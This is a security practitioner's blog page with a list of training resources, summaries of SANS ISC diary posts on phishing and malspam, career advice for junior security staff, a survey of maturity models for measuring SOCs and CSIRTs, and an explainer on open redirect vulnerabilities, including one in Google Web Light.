Untrusted Network

Resources and Tools

Jan Kopriva — Tue, 01 Jan 2019 11:28:23 +0100

This page contains links to couple of interesting training resources, tools and other material useful for Incident Response, Penetration Testing, Malware Analysis and other security-related areas.

Although I’ve placed it here mainly for myself and students of my security courses, if you find it useful, it is also accessible through the easily remembered URL csirt.xyz.

Bellow, you may find materials for the following areas:

Security Monitoring and Incident Response

Standards and Best Practices

Training Resources

Collections of Resources

Tools

Misc

Threat Hunting

Methodologies and Best Practices

Collections of Resources

Training Resources
- Active Countermeasures Threat Hunt Training Course

Misc
- Generating Hypotheses for Successful Threat Hunting

Threat Intelligence

Methodologies and Best Practices

Training Resources

Misc

Threat Modeling

Methodologies and Best Practices

Tools

Collections of Resources
- A Threat Modeling Field Guide
- Threat Model Examples

Misc

Penetration Testing and Red Teaming

Methodologies and Best Practices

Training Resources

Collections of Resources

Tools

Misc
- The C2 Matrix

Purple Teaming

Methodologies and Best Practices
- Purple Team Exercise Framework (PTEF)
- Purple Team Maturity Model

Tools

Collections of Resources
- Enterprise Purple Teaming
- CTID Adversary Emulation Library

Malware Analysis

Training Resources

Collections of Resources

Sample sources

Tools

Misc

Application Security

Standards and Best Practices

Training Resources
- DevSecOps University

Collections of Resources
- Ultimate DevSecOps Library

Tools
- Analysis Tools

Misc

OT Security

Standards and Best Practices

Training Resources
- ICS Training Available Through CISA

Collections of Resources
- A Collection of Resources for Getting Started in ICS/SCADA Cybersecurity
- Awesome Industrial Control System Security

Tools

Misc

Miscellaneuos

Standards and Best Practices

Training Resources

Tools
- Cyber Security Evaluation Tool (CSET)

Other

SANS ISC Diary - How often are redirects used in phishing in 2026?

Jan Kopriva — Mon, 06 Apr 2026 10:50:00 +0100

A new Diary of mine was published today on the SANS Internet Storm Center website. In this one, we’ll find out how often open redirect mechanisms were misused in phishing messages in the first quarter of 2026…

Ten tips for aspiring cybersecurity professionals

Jan Kopriva — Fri, 27 Mar 2026 10:30:00 +0100

From time to time, a junior security specialist, or someone looking to break into cybersecurity, asks me for a few professional tips. The technical specifics of my recommendations naturally vary depending on the interests and plans of the individual in question. However, since I keep repeating certain general ideas and recommendations, and since I believe they may be useful to almost any junior security professional, I decided to put together a list of tips that I consider important for a meaningful, effective, and satisfying career in cybersecurity.

Below you will find 10 recommendations (+ one extra, just to please fans of Spinal Tap) that, looking back, I wish someone had shared with me when I was starting out. These points reflect only my personal perspective and opinions. And although I stand behind everything below, if any of it does not align with your own views, I will not hold it against you.

Security always depends on people, processes, and technologies, in that order. Never forget this, even if your career takes you into selling security solutions or into working in security management. Buying tools that no one properly operates or maintains is a great way to tick compliance checkboxes, but the real impact of a tool-centric approach to security will always be limited. Technologies alone will never deliver a meaningful level of security in any environment.
Be cautious of self-proclaimed authorities. Our field includes many people who genuinely deserve to be considered authorities – highly skilled professionals who are widely respected (as well as many equally capable individuals who are unfortunately not known at all outside their immediate circles). At the same time, there are also people perceived as “authorities” mainly because they present themselves that way, or because they have been around for a long time, are very vocal, or highly visible. Their actual expertise, especially in technical terms, is, however, often limited. The issue is not that they are more visible than they deserve, but that they sometimes spread outdated or even harmful ideas.
Be selective about who you trust. One simple test is to look at the depth of the publicly accessible work of a given authority. If their contributions consist mostly of generic statements like “we need to manage risk”, “we must increase user awareness”, or, worse, “we need to implement zero trust”, with little real substance behind them, that tells you a lot. In short, the loudest voices are not always the most qualified ones.
Do not present yourself as a “cybersecurity expert”. Ever. No matter how knowledgeable you think you are, and regardless of any “expert-level” certifications you may earn along the way.
We are not good at objectively assessing our own abilities (see the work of Dunning and Kruger), and cybersecurity has grown far too broad for anyone to truly master it all. From firewall configuration and incident response to reverse engineering, quantitative risk analysis, digital forensics, red teaming, OT security, and application security architecture, no one can realistically cover the entire spectrum.
And don’t worry, if you ever become an expert in a specific area, others will start to label you as such on their own…
Do not limit your professional development and knowledge base strictly to your specialization. Specializing is both natural and often necessary in cybersecurity, but every security professional worthy of that title should maintain at least a basic understanding of the broader field, since it provides essential context for their work.
For example, a firewall engineer should at least be aware of relevant regulatory requirements, as they may dictate where and how a firewall should/must be implemented. Similarly, a penetration tester should understand how security monitoring and SOCs work, since avoiding detection may become relevant during unannounced testing.
If you specialize in a particular vendor’s technology, do not fall into the trap of thinking it is universally the best. Whether it is a Check Point firewall, Microsoft EDR/XDR platform, or anything else, no solution is objectively “the best” in all scenarios. Claiming otherwise rarely makes sense, even if you are the one selling these solutions.
A high position does not guarantee expertise, and a low position does not mean a lack of it. Do not judge your colleagues solely by their titles or certifications. You will encounter highly capable people without certifications at all levels, and at the same time, people with an impressive list of certifications and titles who lack almost any practical competence.
Do not assume you understand any security domain just because you have seen it in detail in one organization. Even deep experience in a specific area, such as monitoring, risk management, or penetration testing, across multiple similar organizations or within the same region or sector, does not necessarily give you a full picture of how things can or should be done in general.
Your time is valuable, so be deliberate about how you spend it. If your goal is to learn, choose conferences carefully. Most so-called “professional” conferences are primarily marketing-driven rather than educational. Many talks are designed not to teach, but to convince you that a particular product or service is exactly what your organization needs.
If you want to work in cybersecurity and lack even a basic level of technical knowledge, invest in building it. Without it, you will not be able to perform effectively in any security role.
This is not about gatekeeping, nor does it mean every CTI analyst, security manager, or risk specialist needs to be capable of writing exploits, hunting for zero-days or analyzing network traffic. But without understanding fundamentals like what the difference between TCP and UDP is and how this difference affects how firewalls work, what Active Directory is and why domain admin compromise matters, or how EDR/SIEM systems work and what they can realistically detect “out of the box”, none of these specialists can produce really meaningful and useful outputs.
The idea that “anyone can do cybersecurity”, that is often repeated these days, is only partially true. Anyone can start, but not everyone can build a sustainable, meaningful career in the field.
A non-technical background is not a barrier, and in some roles, such as CTI, it can even be an advantage. But without quickly building at least a basic technical foundation, it becomes very difficult to deliver real value, even in more process-oriented roles. It is hard to manage risks related to malware, or write meaningful policies about it, if terms like “malware,” “virus,” “trojan,” and “worm” are just vague, interchangeable labels, and “C2” sounds more like a chess coordinate than a command-and-control channel.
Do not believe everything you read. Books, courses, and certification materials, even official ones, often mix solid technical content with marketing claims and personal opinions presented as facts. You will frequently encounter half-truths or outright mistakes alongside accurate information. Being able to distinguish facts from marketing claims and outright fiction can be hard, and you will not always get it right. But at the very least, if something feels off, do not rely on a single source and cross-check it.
Be prepared for the fact that cybersecurity in any organization will have weaknesses you will not like. If you are not the owner or a member of executive management, your role is not to “ensure” security, but to help the organization operate as securely as possible within the constraints set by leadership. It is the management who owns all risks, including security-related ones. Your role is to help them understand and manage those risks.
If you identify a weakness in a process or a technology, or discover a significant threat exposure, raise them with the appropriate stakeholders. If management then decides to accept those risks without implementing the controls you’ve recommended, do not take it personally. It may not be pleasant, but the final decision always belongs to them.
As security professionals, we advise, guide, and do our best within the scope of our responsibilities. That is the reality of the field, even if it can sometimes be frustrating.

SANS ISC Diary - A React-based phishing page with credential exfiltration via EmailJS

Jan Kopriva — Fri, 13 Mar 2026 08:35:00 +0100

A new Diary of mine was published today on the SANS Internet Storm Center website. In this one, we’ll take a look at an interesting phishing site, which was implemented as a React single-page application….

SANS ISC Diary - Another day, another malicious JPEG

Jan Kopriva — Mon, 23 Feb 2026 15:35:00 +0100

A new Diary of mine was published today on the SANS Internet Storm Center website. In this one, we’ll take a look at a recent malspam campagin delivering a multi-stage infection chain involving a JScript downloader, WMI-spawned PowerShell, and an in-memory .NET assembly extracted from a JPEG file…

SANS ISC Diary - A phishing campaign with QR codes rendered using an HTML table

Jan Kopriva — Wed, 07 Jan 2026 10:35:00 +0100

A new Diary of mine was published today on the SANS Internet Storm Center website. In this one, we’ll take a look at a phishing campaign, in which QR codes were implemented with the help of HTML tables instead of images…

SANS ISC Diary - Positive trends related to public IP ranges from the year 2025

Jan Kopriva — Thu, 18 Dec 2025 09:10:00 +0100

A new Diary of mine was published today on the SANS Internet Storm Center website. In this one, we’ll take a look at a few positive trends related to public IP ranges from the past twelve months…

SANS ISC Diary - Use of CSS stuffing as an obfuscation technique?

Jan Kopriva — Fri, 21 Nov 2025 10:50:00 +0100

A new Diary of mine was published today on the SANS Internet Storm Center website. In this one, we’ll take a look at a phishing page, which - probably as an obfusctaion technique - contained a large amount of garbage CSS code…

SANS ISC Diary - A phishing with invisible characters in the subject line

Jan Kopriva — Tue, 28 Oct 2025 10:55:00 +0100

A new Diary of mine was published today on the SANS Internet Storm Center website. In this one, we’ll take a look at an unusual phishing message which contained “invisible” characters in its subject line…

SANS ISC Diary - A quick look at sextortion at scale: 1,900 messages and 205 Bitcoin addresses spanning four years

Jan Kopriva — Tue, 02 Sep 2025 10:00:00 +0100

A new Diary of mine was published today on the SANS Internet Storm Center website. In this one, we’ll discuss the analysis of approximately 1,900 sextortion e-mails spanning years 2021-2025, and look at interesting statistical data that resulted from this analysis…

SANS ISC Diary - Do sextortion scams still work in 2025?

Jan Kopriva — Wed, 06 Aug 2025 11:30:00 +0100

A new Diary of mine was published today on the SANS Internet Storm Center website. In this one, we’ll discuss whether sextortion scams are still effective in 2025…

SANS ISC Diary - How quickly do we patch? A quick look from the global viewpoint

Jan Kopriva — Mon, 21 Jul 2025 13:00:00 +0100

A new Diary of mine was published today on the SANS Internet Storm Center website. In this one, we’ll take a look at how quickly do we – as a global society – patch actively-exploited vulnerabilities when it comes to our internet-facing systems…

SANS ISC Diary - Phishing e-mail that hides malicious link from Outlook users

Jan Kopriva — Wed, 04 Jun 2025 12:30:00 +0100

A new Diary of mine was published today on the SANS Internet Storm Center website. In this one, we’ll take a look at an interesting phishing e-mail that hides the link to a malicious site from Oulook users…

SANS ISC Diary - Another day, another phishing campaign abusing google.com open redirects

Jan Kopriva — Wed, 14 May 2025 12:30:00 +0100

A new Diary of mine was published today on the SANS Internet Storm Center website. In this one, we’ll take a look at an actively exploited open redirect vulnerability in Google Travel service that enables threat actors to craft links pointing to www.google.com which cause redirection to an arbitrary URL…

SANS ISC Diary - It's 2025... so why are obviously malicious advertising URLs still going strong?

Jan Kopriva — Mon, 21 Apr 2025 10:50:00 +0100

A new Diary of mine was published today on the SANS Internet Storm Center website. In this one, we’ll take a look at a phishing campaign, in which Google Ad service was used for redirection of victims, and at security weaknesses of web-based ad services in general…

SANS ISC Diary - A Tale of Two Phishing Sites

Jan Kopriva — Fri, 28 Mar 2025 13:00:00 +0100

A new Diary of mine was published today on the SANS Internet Storm Center website. In this one, we’ll take a look at two phishing sites based on the same phishing kit, that differed significantly (not just) in the level of obfuscation…

Measuring security operations capabilities and improving their maturity, efficiency, and effectiveness

Jan Kopriva — Tue, 04 Mar 2025 08:00:00 +0100

To slightly paraphrase Peter Drucker’s famous quote, one can’t manage what one can’t measure. This – of course – holds true even for Computer Security Incident Response Teams (CSIRTs) and Security Operations Centers (SOCs). The only question is, how can we “measure” what they do in a meaningful way? This is what we will discuss in this article, which is loosely based on a presentation called ‘How to measure Efficiency in Security Operations’, which I gave at the Open Cyber Security Conference (OSCS) in Tenerife in February of 2024.

Why should we measure anything?

To my mind, the aforementioned quote says it all. If something (e.g., a SOC or a CSIRT that is being operated or used by our organization) is basically just a “black box” from which only a report or an alert sometimes emerges, how can we say whether that black box functions efficiently? Worse yet, how can we say whether it fully satisfies the needs of our organization?
For example, can we be certain that our security monitoring service truly does detect threats relevant to our organization, and does not depend only on generic detection capabilities that ignore our specific threat profile?

It should be clear that without “measuring” various aspects of CSIRT and SOC operations, there is very little we can be sure of… This is, of course, troubling if relevant security services are provided by an internal department of our own organization, but potentially even more so if the services are being delivered to us by an external MSSP.
It is therefore in the best interest of any organization that avails itself of security operations services – be they internally or externally provided – to periodically evaluate whether these services function effectively enough to fulfill the corresponding organizational needs.

What do we actually want to measure?

The vaguely defined terms of “Blue Teaming“ or “Security Operations”, which are commonly understood to be the purview of SOCs, CSIRTs and teams hidden behind various other acronyms, do – for obvious reasons – mean different things in different organizations. In order for us to have a reasonable starting point for our discussion, we therefore first have to specify which areas we actually want to measure.

For the sake of simplicity, we will consider “Security Operations” to mean service areas covered by the FIRST Services Framework, i.e., Information Security Event Management, Information Security Incident Management, Vulnerability Management, Situational Awareness and Knowledge Transfer. Of course, services provided by a specific SOC, CSIRT or any other “blue team” do not necessarily have to cover all of these areas, however since the activities of some teams do encompass all of them, we will use the Services Framework as our starting point.

With that out of the way, the time has almost come for us to take a look at how to analyze and measure maturity, efficiency and effectiveness in the various areas that the aforementioned framework covers.
Before that, however, it’s important to emphasize that security operations rely not only on technology but also on processes and personnel – just like cybersecurity and information security as a whole. And while some organizations tend to see “effectiveness”, “efficiency”, “quality” or “maturity” of their security operations programs mostly as a function of the number and variability of technical security solutions that they have employed, such a view is – for obvious reasons – unacceptably limiting (or “blatantly incorrect”, to put it in more straightforward terms).

As such, this techno-centric view would hardly lend itself to any reasonable “assessment” or “measurement” of real effectiveness of security operations. Therefore, although we will certainly not disregard technologies in our further discussion, we need to keep in mind the fact that technologies are only one part of the puzzle… And not necessarily always the most important one.

How can we actually “measure” security operations?

This is the key question.

One could define and use any number of different metrics, KPIs and SLAs for various areas of security operations (and if you are looking for ideas in this area, try looking at the SOC-CMM metrics suite). However, these probably wouldn’t be of much help if one wanted to measure any of the aforementioned Service Framework areas in a more complex or formal manner.

For this purpose, one might – of course – develop a custom methodology. However, it may be wiser not to reinvent the wheel if an effective methodology already exists. We will therefore take a look at several methodologies and frameworks for measuring or assessing different areas of security operations that are currently available.

It should be mentioned that most of these methodologies solve the issue of “how to measure” various aspects of security operations by using some (perhaps simplified or modified) version of the CMMI, and therefore, they can be said to measure maturity of different areas, rather than their efficiency or effectiveness. Nevertheless, since maturity inherently includes efficiency, effectiveness, repeatability, and sustainability, these methodologies are well-suited to our needs.

Below is a non-exhaustive list of freely available maturity models, methodologies, and relevant frameworks, along with a brief description of their primary purpose, organized by the security operations area they cover. All methodologies and frameworks that are potentially suitable for more than one service area have been listed in the one, in which their use may be considered of most benefit.

Information Security Event Management

This service area of FIRST Services Framework covers security monitoring and detection and analysis of events, which is usually the domain of Security Operations Centers.
Although there are various methodologies and frameworks that may be useful in this area (you may find some additional ones in the Information Security Incident Management section below, since this area and security event management are umbilically linked), there are two that deserve a special mention.

SOC-CMM

SOC-CMM is undoubtedly the best-known and most commonly used maturity model for SOCs. As you can see from the following picture, it is quite comprehensive – in its current version (2.3), it covers 26 aspects of SOC operations split into 5 domains (Business, People, Process, Technology and Services), and it enables one to evaluate various factors of each of these aspects using a 5-level maturity scale, and some of them (those that fall into the Technology and Services domains) also using a 4-level capability scale.

Source: SOC-CMM

For practical application, the model is available in the form of a user-friendly Excel assessment tool. Or – rather – two tools, a “Basic” and “Advanced” one. However, the Basic version is likely the only one you’ll ever need.

SOC-CMM is quite useful for informal internal evaluations, as well as formal assessments performed by third parties, and it can also be helpful when it comes to defining the optimal “target” state of operations and developing corresponding improvement roadmaps for SOCs.

In addition to this, a 3-level certification scheme based on SOC-CMM has been introduced in the final months of 2024, which enables organizations to have their Security Operations Centers officially certified by an accredited certification body. This may be of interest especially to those who feel the need to assure their client base (be it internal or external) of the quality of service provided by their SOC.

MITRE ATT&CK

Given its long history and wide-ranging use in the cyber security community, the MITRE ATT&CK framework itself requires no introduction. Nevertheless, its potential as a tool for measuring effectiveness of Security Operations Centers does deserve some short explanation, since there is no formal methodology available for this use of ATT&CK.

In the SOC space, the ATT&CK framework is commonly used for specifying the scope of detection use cases and analytics. Having all relevant detection analytics that a SOC uses mapped to ATT&CK can be quite helpful, since it gives one the ability to effectively measure what (sub-)techniques SOC is capable of detecting, and what (sub-)techniques it most likely can’t detect.

This can be considered the simplest way to use MITRE ATT&CK in the context of a SOC. However, ATT&CK can also be used to measure security monitoring capabilities and their scope in a more complex way.

While larger detection coverage (i.e., the range of malicious activities that a SOC is capable of detecting) is generally better, no SOC in the world can effectively cover all (sub-)techniques that are listed in ATT&CK. Therefore, what any SOC should try to implement first and foremost are detections for those malicious activities (i.e., ATT&CK (sub-)techniques) that are most important to its client base.

Therefore, if one first identifies these activities through an appropriate threat modeling approach, one can then quite easily compare the list of ATT&CK (sub-)techniques that the SOC needs to cover – based on the needs of its clients – with the list of (sub-)techniques that it is actually capable of detecting. If coverage of the identified threat model is not close to full, then the SOC is obviously not delivering as effective detection service, as its client base truly needs.

Using ATT&CK as a basis for an assessment (internal one or one performed by a third party) of detection capabilities and their alignment with client requirements can therefore certainly be helpful. And although – as we have already mentioned – there currently isn’t any formal methodology for this, there is at least a freely available tool named MITRE ATT&CK Navigator, which can enable us to easily document such an assessment.

For completeness’s sake, it should be mentioned that alignment of detection capabilities with client needs based on their respective ATT&CK mappings is something that is – to a certain degree – also covered by SOC-CMM .

Information Security Incident Management

Security incident management is commonly considered to be the domain of CERTs and CSIRTs. And although one maturity model reigns supreme in this area, we will mention an additional one, since it brings a somewhat different – yet relevant – viewpoint to the table…

Security Incident Management Maturity Model (SIM3)

Globally, the most well-known methodology for evaluating CSIRTs and CERTs is undoubtedly the Security Incident Management Maturity Model, or SIM3, which is currently used by FIRST, TF-CSIRT or ENISA – just to name a few.

In its current version (SIM3 v2 interim), it consists of 45 “maturity parameters” split into 4 categories (Organization, Human, Tools and Processes) that cover most high-level aspects of security incident management. Evaluation of each parameter is performed using a 5-level maturity scale.

Probably the easiest way to use the model is with the help of a freely available on-line SIM3 self-assessment tool.

Source: Open CSIRT Foundation

In practice, SIM3 is commonly used for both informal self-assessments as well as formal audits that evaluate whether maturity levels achieved by a specific team reached or exceeded some predetermined “baseline” (e.g., the Trusted Introducer Certification process is based on such a formal audit). Overall, the model is quite easy to use, and a quick, informal evaluation of a CSIRT with its help can be done in a few hours (formal assessments, of course, take significantly longer).

Although in its current form, SIM3 is primarily designed for assessing CSIRTs, it is sometimes also used for evaluation of Security Operations Centers and other types of security teams. And while, at the moment, it may not always be easy to map some aspects of SOC operations to the model, the situation is expected to change in the near future, since the Open CSIRT Foundation is currently in the process of developing modifications of SIM3 (so called “profiles”) intended for SOCs as well as PSIRTs and ISACs, which should significantly simplify application of the model (not just) within the SOC space.

CREST Cyber Security Incident Response Maturity Assessment

The Cyber Security Incident Response Maturity Assessment (or CSIR Maturity Assessment), which was developed by CREST, is another model/methodology useful for assessing incident response teams. However, unlike SIM3, SOC-CMM and most similar models, which evaluate maturity in various general areas that are important for effective SOC or CSIRT work (e.g., personnel situation, overall existence of processes, etc.), the CSIR Maturity Assessment evaluates maturity of organizational capabilities in various stages of incident response lifecycle.

Source: CREST

Two Excel-based maturity assessment tools, both of which use a 5-level maturity scale, are available for practical application of the methodology. One of them is intended for quick, high-level evaluations, and allows users to set a single maturity level for each of the 15 steps of the incident response lifecycle shown above. The second tool is much more detailed, and (similarly to SOC-CMM Excel files) includes multiple questions for each evaluated area.

For most organizations outside of the United Kingdom, this maturity model will probably be most interesting “only” as a mechanism for informal self-assessments. Nevertheless, it can certainly serve as a useful tool. This holds true even for those who already use SIM3 to assess their CSIRTs, since the CSIR Maturity Assessment is – in its complex version – much more detailed than the aforementioned maturity model, and can therefore provide a more in-depth view into some areas.

Vulnerability management

While vulnerability management is sometimes the domain of specialized vulnerability management teams, in other cases, performance of corresponding duties falls to a SOC, CSIRT or to a general IT operations department. In any case, evaluating how effectively vulnerability management is performed in the context of an organization can certainly be beneficial.

To this end, we will mention one maturity model, which deals with this area, and which is probably the most interesting one in this space (that is, if one doesn’t want to go into specifics of bug bounty programs and vulnerability report handling, since there are specialized maturity models for these areas as well).

SANS Vulnerability Management Maturity Model (VMMM)

The VMMM started its life as “only” a maturity model for vulnerability management programs, without any explicit methodology for its application. Nevertheless, few years after its publication, one of its authors released an accompanying Self-Assessment Tool (VMMM-SAT) that can guide one in its practical use.

Overall, the model consists of 5 phases of a vulnerability management lifecycle (Prepare, Identify, Analyze, Communicate and Treat), that are split into 12 areas, that can be measured using a 5-level CMMI-based scale.

Source: SANS Institute

The accompanying Self-Assessment Tool is available as an Excel document that enables one to evaluate the 12 areas of the model with the help of approximately 140 yes/no questions.

As the name of the tool suggests, it – and VMMM itself – is primarily intended/useful for self-assessments, though it can also be helpful in the development of improvement roadmaps for vulnerability management programs.

Situational Awareness

In terms of Security Operations, the topic of situational awareness can be said to be heavily intertwined with Cyber Threat Intelligence (CTI). Given this fact, there are two main maturity models/methodologies that lend themselves to use within this space.

CREST Cyber Threat Intelligence Maturity Assessment Tools

Cyber Threat Intelligence Maturity Assessment Tools are a set of 3 Excel documents that all implement the same methodology for assessing maturity of CTI programs.

As you may see in the following picture, the methodology is built around the assessment of four “stages” of an overall “CTI process” (Governance, Program Planning & Requirements, Threat Intelligence Operation and Functional Management), that are further split into 18 “steps”. Each of the areas is evaluated using a 5-level maturity scale.

Source: CREST

The reason why CREST published 3 tools for use with the same methodology is that each of the Excel files implements the methodology on a different level of detail. While the “Summary Level” tool only requires answering two or three questions per each “step”, the “Intermediate Level” tool might require answering five or six questions, and the “Detailed Level” tool might go well over twenty questions in some cases. One can therefore always choose the right tool based on the need for detail and the available time.

The assessment tools may be quite useful for performing self-assessments, however they (especially the two more detailed tools) may also be interesting for conducting third-party assessments.

Cyber Threat Intelligence Capability Maturity Model (CTI-CMM)

The CTI-CMM is a relatively recent maturity model that is heavily influenced by the C2M2 framework and stresses the need for alignment of a CTI program with stakeholder/client needs.
In its current version (1.1), it is organized into 11 domains that are evaluated using a 4-level maturity scale.

For practical application of the model, a “Beta” assessment tool is currently available in the form of an Excel document, that enables one to evaluate a CTI program through specifying the current maturity level in a total of 230 measured areas.

The model may be useful for performing self-assessment of a CTI team (or SOC/CSIRT that delivers CTI-related services) or for development of an improvement roadmap for a CTI program.

Knowledge Transfer

Although this area is part of the FIRST Services Framework, it is commonly the domain of security awareness and education specialists and exercise developers, rather than SOCs or CSIRTs. As such, it is somewhat outside of the scope we usually wish to evaluate when it comes to security operations efficiency or maturity. Nevertheless, should you require some basic model or methodology to assess how a certain organization/team is performing in at least some parts of this service area, the Security Culture Maturity Model or the SANS Security Awareness Maturity Model may be of use to you.

Where should we start?

With the number of various methodologies shown above, one can almost feel spoiled for choice, and it can be quite difficult to identify an optimal starting point/optimal methodology to start with.

Although the “right” methodology will – of course – depend on the specific service areas one wishes to assess, an approach that has worked for me quite well in the past, when I needed to “somehow” assess a SOC or a CSIRT (or another team that performs at least some level of security monitoring and incident response), was to do a quick assessment using SIM3, followed by a more in-depth analysis with the help of SOC-CMM.

Therefore, if you don’t know where to start, feel free to use this approach. Though, as you can clearly see, it is far from the only one available to you…

And should you need any help with assessing your SOC or CSIRT, don’t hesitate to reach out – it is something we do for our clients regularly as part of our services at Nettles Consulting.

10 years of Untrusted Network

Jan Kopriva — Mon, 03 Mar 2025 07:10:00 +0100

Today marks the 10-year anniversary of this website. It has changed a lot since 2015 (take a look at the Internet Archive, if you’re interested in its humble beginnings), and not just visually, but also in terms of content – at this point, it holds a total 153 posts in English, and 362 posts in Czech.

In any case, since I thought it would be worthwhile to share something interesting for the anniversary, I decided to offer you some high-level AWStats data that encompasses the entire lifetime of this website…

SSL 2.0 support on servers in the Czech Republic

Jan Kopriva — Mon, 10 Feb 2025 07:55:00 +0100

While I was writing last week’s article, which was devoted to the number of internet-exposed servers that still support SSL 2.0, it occured to me that it might be interesting to take a look at how support for this protocol has decreased in the Czech Republic over the years… So, you will find the answer in the following chart.

SANS ISC Diary - SSL 2.0 turns 30 this Sunday... Perhaps the time has come to let it die?

Jan Kopriva — Fri, 07 Feb 2025 11:45:00 +0100

A new Diary of mine was published today on the SANS Internet Storm Center website. In this one, we’ll take a look at an upcoming 30-year anniversary of the publication of SSL 2.0, and on the number of internet-exposed systems that still support this protocol…

SANS ISC Diary - An unusual 'shy z-wasp' phishing

Jan Kopriva — Mon, 27 Jan 2025 12:20:00 +0100

A new Diary of mine was published today on the SANS Internet Storm Center website. In this one, we’ll take a look at an unusual phishing message, in which two different techniques for splitting text using unrendered characters were used with the intention of bypassing security scans…

SANS ISC Diary - Changes in SSL and TLS support in 2024

Jan Kopriva — Mon, 30 Dec 2024 12:25:00 +0100

A new Diary of mine was published today on the SANS Internet Storm Center website. In this one, we’ll take a look at changes in SSL/TLS support on web servers and e-mail servers during the 12 months of 2024…

SANS ISC Diary - The strange case of disappearing Russian servers

Jan Kopriva — Mon, 25 Nov 2024 08:14:15 +0100

A new Diary of mine was published today on the SANS Internet Storm Center website. In this one, we’ll take a look at a recent significant decrease in the number of servers seen by Shodan in Russia…

SANS ISC Diary - Self-contained HTML phishing attachment using Telegram to exfiltrate stolen credentials

Jan Kopriva — Mon, 28 Oct 2024 08:15:00 +0100

A new Diary of mine was published today on the SANS Internet Storm Center website. In this one, we’ll take a look at an HTML phishing attachment which used Telegram to send stolen credentials back to its authors…

SANS ISC Diary - Phishing links with @ sign and the need for effective security awareness building

Jan Kopriva — Mon, 23 Sep 2024 08:55:00 +0100

A new Diary of mine was published today on the SANS Internet Storm Center website. In this one, we’ll take a look at misuse of the user information string in a URL, and at the topic of effective security awareness building in relation to phishing…

SANS ISC Diary - Script obfuscation using multiple instances of the same function

Jan Kopriva — Mon, 05 Aug 2024 08:15:00 +0100

A new Diary of mine was published today on the SANS Internet Storm Center website. In this one, we’ll take a look at an interesting script obfuscation technique…

SANS ISC Diary - 'Reply-chain phishing' with a twist

Jan Kopriva — Tue, 16 Jul 2024 11:30:00 +0100

A new Diary of mine was published today on the SANS Internet Storm Center website. In this one, we’ll take a look at a slightly unusual “reply-chain” phishing technique…

SANS ISC Diary - Support of SSL 2.0 on web servers in 2024

Jan Kopriva — Fri, 28 Jun 2024 12:00:00 +0100

A new Diary of mine was published today on the SANS Internet Storm Center website. In this one, we’ll take a look at the number of web server that still support SSL v2.0…

SANS ISC Diary - Files with TXZ extension used as malspam attachments

Jan Kopriva — Mon, 27 May 2024 08:45:00 +0100

A new Diary of mine was published today on the SANS Internet Storm Center website. In this one, we’ll take a look at recent malspam campaigns distributing files with the TXZ extension…

SANS ISC Diary - It appears that the number of industrial devices accessible from the internet has risen by 30 thousand over the past three years

Jan Kopriva — Mon, 22 Apr 2024 12:25:00 +0100

A new Diary of mine was published today on the SANS Internet Storm Center website. In this one, we’ll take a look at the number of internet-exposed industrial control systems…

SANS ISC Diary - The xz-utils backdoor in security advisories by national CSIRTs

Jan Kopriva — Mon, 01 Apr 2024 13:55:00 +0100

A new Diary of mine was published today on the SANS Internet Storm Center website. In this one, we’ll take a look at the number of security advisories published by national and governmental CSIRTs in connection with the backdoor in xz-utils…

SANS ISC Diary - Increase in the number of phishing messages pointing to IPFS and to R2 buckets

Jan Kopriva — Thu, 14 Mar 2024 09:55:00 +0100

A new Diary of mine was published today on the SANS Internet Storm Center website. In this one, we’ll take a look at a recent rise in the number of phishing messages pointing to IPFS and R2 buckets…

Actively exploited open redirect in Google Web Light

Jan Kopriva — Mon, 26 Feb 2024 06:30:00 +0100

TL;DR: An open redirect vulnerability exists in the remains of Google Web Light service, which is being actively exploited in multiple phishing campaigns. Google decided not to fix it, so it might be advisable to block access to the Web Light domain in corporate environments…

If you are already aware of the principles behind “open redirect” vulnerabilities and want jump straight to the discussion of the Web Light vulnerability and its active exploitation, click here. If you are not, let’s first set the stage by discussing what open redirects are and how they may be used by threat actors…

Open redirect – or CWE-601 – is a type of software vulnerability, which affects web applications that redirect its visitors to URLs, that are dynamically created based on user-controlled input, if these applications don’t sufficiently validate whether these URLs are “trusted”. In basic terms, any such vulnerability allows for creation of links, which point to a vulnerable application and which cause it to automatically redirect the browser of a visitor to another (usually any specified) URL.

If the potential impact of such a vulnerability isn’t clear to you, imagine if a web application of a well-known bank running at “www.mybank.tld” redirected visitors to the domain “login.mybank.tld” using a dynamic redirection mechanism, which would accept the target URL through a “redirect_to” parameter. A URL used for this redirection might look like this.

https://www.mymybank.tld/?redirect_to=https://login.mybank.tld

You might wonder why someone would use the above-mentioned “dynamic” approach to redirection instead of using static links. The truth is that there may be certain benefits to doing so this way – probably the most important one being the ability to precisely track “clickthroughs” to different destinations (e.g., for marketing purposes).

In any case, if the redirection mechanism in our example allowed only for limited redirection to URLs within the second-level domain mybank.tld, it would most likely be quite alright from a security standpoint. However, if the mechanism lacked any sort of validation of the target URL, one could easily create a link, which would point to the trusted site of the bank, but which would result in a redirection to an untrusted (and potentially malicious) site… For example a literal “untrusted” site:

https://www.mymybank.tld/?redirect_to=https://untrustednetwork.net

You can probably see the issue – in such a case, any threat actor out there could create a link pointing to the legitimate website of the bank, which would – when opened – result in redirection to a malicious site of their choosing. This could be quite useful for phishing attacks. Since most people only check the beginning of a URL before opening it, if they saw that a link in an e-mail points to a valid domain of the bank, they might be much more willing to click it than if it pointed to a different/unknown domain. And, in fact, threat actors do actively exploit these vulnerabilities in just this way - by redirecting unsuspecting victims to phishing sites through legitimate domains…

As we can see, although open redirects are hardly the most dangerous type of vulnerabilities in existence, they do sometimes pose a not insignificant risk – especially if the affected application is hosted on a well-known and well-trusted domain. This viewpoint is well-supported by the fact that “Unvalidated Redirects and Forwards” were actually included in the 2010 version of OWASP Top 10 (i.e., they were considered by the security community at large to be one of the 10 most significant risks related to web applications at that time).

Nevertheless, since successful exploitation of these vulnerabilities is dependent on social engineering, and their impact is limited, many organizations consider them either very low risk, or non-issues. For some organizations and some domains, this may be understandable, while for others not so much…

One organization, which takes the overall viewpoint that “a small number of properly monitored redirectors offers fairly clear benefits and poses very little practical risk” is Google.

Source: Google

While I personally disagree with the “very little practical risk” part (especially in connection with any domain owned by Google) I completely understand the “clear benefits” portion of the sentence… Though it should be stressed that the “benefits” are not to users of Google services, but to Google itself, since – as we already mentioned – redirection mechanisms are quite useful for marketing-related tracking.

Although I don’t want to appear petty, it is also worth noting that my views on risks connected with open redirects on Google’s domains are shared by its own AI…

Source: Google Gemini

That is beside the point, however.

